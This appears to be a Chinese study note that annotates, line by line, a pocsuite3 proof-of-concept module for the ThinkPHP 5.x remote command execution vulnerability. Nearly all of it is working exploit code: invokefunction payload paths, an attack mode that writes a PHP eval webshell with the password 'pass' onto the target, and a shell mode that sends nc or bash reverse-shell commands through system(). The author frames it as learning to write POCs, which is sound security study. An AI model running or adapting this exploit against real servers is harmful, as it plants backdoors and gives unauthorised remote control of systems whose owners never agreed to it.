thinkphp_rce命令执行模板编写

  1. # -*- coding: utf-8 -*-
  2. # @Time     : 2022/7/22 13:58
  3. # @Author   : m0re
  4. # @Software : Pycharm
  5. from collections import OrderedDict
  6. from urllib.parse import quote
  8. from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptDict, VUL_TYPE
  9. from pocsuite3.lib.utils import random_str
  12. class DemoPOC(POCBase):
  13.     vulID = '97715'
  14.     version = '1.0'
  15.     author = ['m0re']
  16.     vulDate = '2022-7-22'
  17.     createDate = '2022-7-22'
  18.     updateDate = '2022-7-22'
  19.     references = ['https://www.seebug.org/vuldb/ssvid-97715']
  20.     name = 'ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用（GetShell）'
  21.     appPowerLink = 'https://www.thinkphp.cn/'
  22.     appName = 'thinkphp'
  23.     appVersion = 'thinkphp5.1.31'
  24.     vulType = VUL_TYPE.CODE_EXECUTION       # 代码执行
  25.     desc = '''ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新
  26.     ，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1版本，推荐尽快更新到最新版本。'''  # https://blog.thinkphp.cn/869075
  27.     samples = []
  28.     category = POC_CATEGORY.EXPLOITS.WEBAPP     # 分类为webapp
  29.     pocDesc = '''攻击模式下将会生成一个一句话shell，成功返回shell地址，shell密码为pass'''    # 这个POC可以实现什么功能，怎么利用？
  31.     def _options(self):
  32.         o = OrderedDict()
  33.         payload = {         # 两个反弹shell的payload先写下来
  34.             "nc": REVERSE_PAYLOAD.NC,   # NC的
  35.             "bash": REVERSE_PAYLOAD.BASH,   # bash的
  36.         }
  37.         o["command"] = OptDict(selected="bash", default=payload)    # 自定义一个命令参数后面调用
  38.         return o
  40.     def _check(self, url):
  41.         flag = 'Registered PHP Streams'     # 特征（如果验证成功会返回什么样的特征）
  42.         data = OrderedDict([    # 三个方法函数，这是thinkphp在此版本中可以利用RCE的payload中的方法
  43.             ("function", "call_user_func_array"),
  44.             ("vars[0]", "phpinfo"),
  45.             ("vars[1][]", "-1")
  46.         ])
  47.         payloads = [
  48.             r"/?s=admin/\think\app/invokefunction",         # 同上，是payload中的一部分，只不过需要看实际情况分两部分，随机应变吧
  49.             r"/admin.php?s=admin/\think\app/invokefunction",
  50.             r"/index.php?s=admin/\think\app/invokefunction",
  51.             r"/?s=index/\think\Container/invokefunction",
  52.             r"/index.php?s=index/\think\Container/invokefunction",
  53.             r"/index.php?s=index/\think\app/invokefunction"
  54.         ]
  55.         for payload in payloads:    #遍历payload，逐个payload利用
  56.             vul_url = url + payload
  57.             r = requests.post(vul_url, data=data)
  59.             if flag in r.text:      # 找到攻击成功的payload
  60.                 return payload, dict(data)
  61.         return False
  63.     def _verify(self):  # 验证模式
  64.         result = {}
  65.         p = self._check(self.url)   # 得到payload
  66.         if p:   # 如果有可以打成功的payload，那就将信息保存下来
  67.             result['VerifyInfo'] = {}   # result['VerifyInfo']为定义的保存数据的集合
  68.             result['VerifyInfo']['URL'] = p[0]  #   上面payload的前半部分
  69.             result['VerifyInfo']['Postdata'] = p[1] # payload后半部分
  71.         return self.parse_output(result)
  73.     def _attack(self):  # 攻击模式（留下木马）
  74.         result = {}
  75.         filename = random_str(6) + ".php"   # 木马的文件名，随机六位的文件名
  76.         webshell = r'''<?php echo "green day";@eval($_POST["pass"]);?>'''   # 一句话木马内容，"green day"是个特征
  78.         p = self._check(self.url)   # 得到payload
  79.         if p:
  80.             data = p[1]
  81.             data["vars[1][]"] = "echo%20%27{content}%27%20>%20{filename}".format(filename=filename,
  82.                                                                                  content=quote(webshell))   # 写入木马
  83.             data["vars[0]"] = "system"
  84.             vulurl = self.url + p[0]    # 漏洞地址为url+payload前半部分
  85.             requests.post(vulurl, data=data)    # 再次访问到漏洞地址，执行这个写入木马的命令
  86.             r = requests.get(self.url + "/" + filename) # 访问木马
  87.             if r.status_code == 200 and "green day" in r.text:  # 如果这个木马页面存在（状态码==200）并且木马的特征（上面提到的green day）存在
  88.                 result['ShellInfo'] = {}    # 返回webshell的信息
  89.                 result['ShellInfo']['URL'] = self.url + "/" + filename
  90.                 result['ShellInfo']['Content'] = webshell
  91.         if not result:
  92.             vulurl = self.url + r"/index.php?s=index/\think\template\driver\file/write&cacheFile={filename}&content={content}"
  93.             vulurl = vulurl.format(filename=filename, content=quote(webshell))
  94.             requests.get(vulurl)
  95.             r = requests.get(self.url + "/" + filename)
  96.             if r.status_code == 200 and "green day" in r.text:
  97.                 result['ShellInfo'] = {}
  98.                 result['ShellInfo']['URL'] = self.url + "/" + filename
  99.                 result['ShellInfo']['Content'] = webshell
  101.         return self.parse_output(result)
  103.     def _shell(self):   # shell模式
  104.         # cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
  105.         cmd = self.get_option("command")    # 直接调用自定义参数来执行命令
  106.         p = self._check(self.url)
  107.         if p:   # 跟上面一样
  108.             data = p[1]
  109.             data["vars[0]"] = "system"
  110.             data["vars[1][]"] = cmd
  111.             vulurl = self.url + p[0]
  112.             requests.post(vulurl, data=data)
  114.     def parse_output(self, result): # 输出信息
  115.         output = Output(self)
  116.         if result:  # 验证成功
  117.             output.success(result)
  118.         else:   # 没有找到可用payload，那么这个地址不存在该漏洞，返回的信息
  119.             output.fail('target is not vulnerable')
  120.         return output
  123. register_poc(DemoPOC)

这个thinkphp的代码执行POC是pocsuite中自带的一个模板，我只是将整个POC解读了一下。大概理解了这个意思。等下次可以自行写个其他的POC。

记于<font style="color:#E8323C;">2022/7/22</font>